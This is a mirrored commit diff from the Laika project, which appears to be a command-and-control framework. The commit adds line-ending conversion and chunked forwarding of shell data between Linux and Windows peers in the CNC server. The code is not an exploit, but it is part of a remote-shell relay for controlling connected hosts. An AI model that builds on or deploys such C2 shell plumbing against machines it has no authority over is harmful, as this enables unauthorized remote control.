mirror of
https://github.com/CPunch/Laika.git
synced 2024-12-27 05:10:06 +00:00
Added line-conversions for shells
This commit is contained in:
parent
6f60c7a5b7
commit
7e9597902f
@ -13,11 +13,6 @@ struct sLaika_shell {
|
||||
PROCESS_INFORMATION procInfo;
|
||||
STARTUPINFOEX startupInfo;
|
||||
HPCON pseudoCon;
|
||||
/* HANDLE watcherMutex;
|
||||
char *outBuf;
|
||||
int outCount, outCap;
|
||||
char *inBuf;
|
||||
int inCount, inCap; */
|
||||
};
|
||||
|
||||
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||
|
@ -1,4 +1,5 @@
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "cnc.h"
|
||||
#include "cpanel.h"
|
||||
|
||||
@ -143,8 +144,45 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
|
||||
/* read data */
|
||||
laikaS_read(&authPeer->sock, data, sz);
|
||||
|
||||
/* forward data to peer */
|
||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||
laikaS_write(&peer->sock, data, sz);
|
||||
laikaS_endVarPacket(peer);
|
||||
if (authPeer->osType == peer->osType) {
|
||||
/* forward raw data to peer */
|
||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||
laikaS_write(&peer->sock, data, sz);
|
||||
laikaS_endVarPacket(peer);
|
||||
} else if (authPeer->osType == OS_LIN && peer->osType == OS_WIN) { /* convert data if its linux -> windows */
|
||||
uint8_t *buf = NULL;
|
||||
int i, count = 0, cap = 2;
|
||||
|
||||
/* convert line endings */
|
||||
for (i = 0; i < sz; i++) {
|
||||
laikaM_growarray(uint8_t, buf, 2, count, cap);
|
||||
|
||||
switch (data[i]) {
|
||||
case '\n':
|
||||
buf[count++] = '\r';
|
||||
buf[count++] = '\n';
|
||||
break;
|
||||
default:
|
||||
buf[count++] = data[i];
|
||||
}
|
||||
}
|
||||
|
||||
/* send buffer (99% of the time this isn't necessary, but the 1% can make
|
||||
buffers > LAIKA_SHELL_DATA_MAX_LENGTH. so we send it in chunks) */
|
||||
i = count;
|
||||
while (i > LAIKA_SHELL_DATA_MAX_LENGTH) {
|
||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||
laikaS_write(&peer->sock, buf + (count - i), LAIKA_SHELL_DATA_MAX_LENGTH);
|
||||
laikaS_endVarPacket(peer);
|
||||
|
||||
i -= LAIKA_SHELL_DATA_MAX_LENGTH;
|
||||
}
|
||||
|
||||
/* send the leftovers */
|
||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||
laikaS_write(&peer->sock, buf + (count - i), i);
|
||||
laikaS_endVarPacket(peer);
|
||||
|
||||
laikaM_free(buf);
|
||||
}
|
||||
}
|
@ -46,7 +46,7 @@ char *shellP_osTypeStr(tShell_peer *peer) {
|
||||
}
|
||||
|
||||
void shellP_printInfo(tShell_peer *peer) {
|
||||
char buf[128];
|
||||
char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */
|
||||
|
||||
sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES);
|
||||
shellT_printf("\t%s@%s\n\tTYPE: %s\n\tOS: %s\n\tPUBKEY: %s\n\tINET: %s\n", peer->hostname, peer->ipv4, shellP_typeStr(peer), shellP_osTypeStr(peer), buf, peer->inet);
|
||||
|
Loading…
Reference in New Issue
Block a user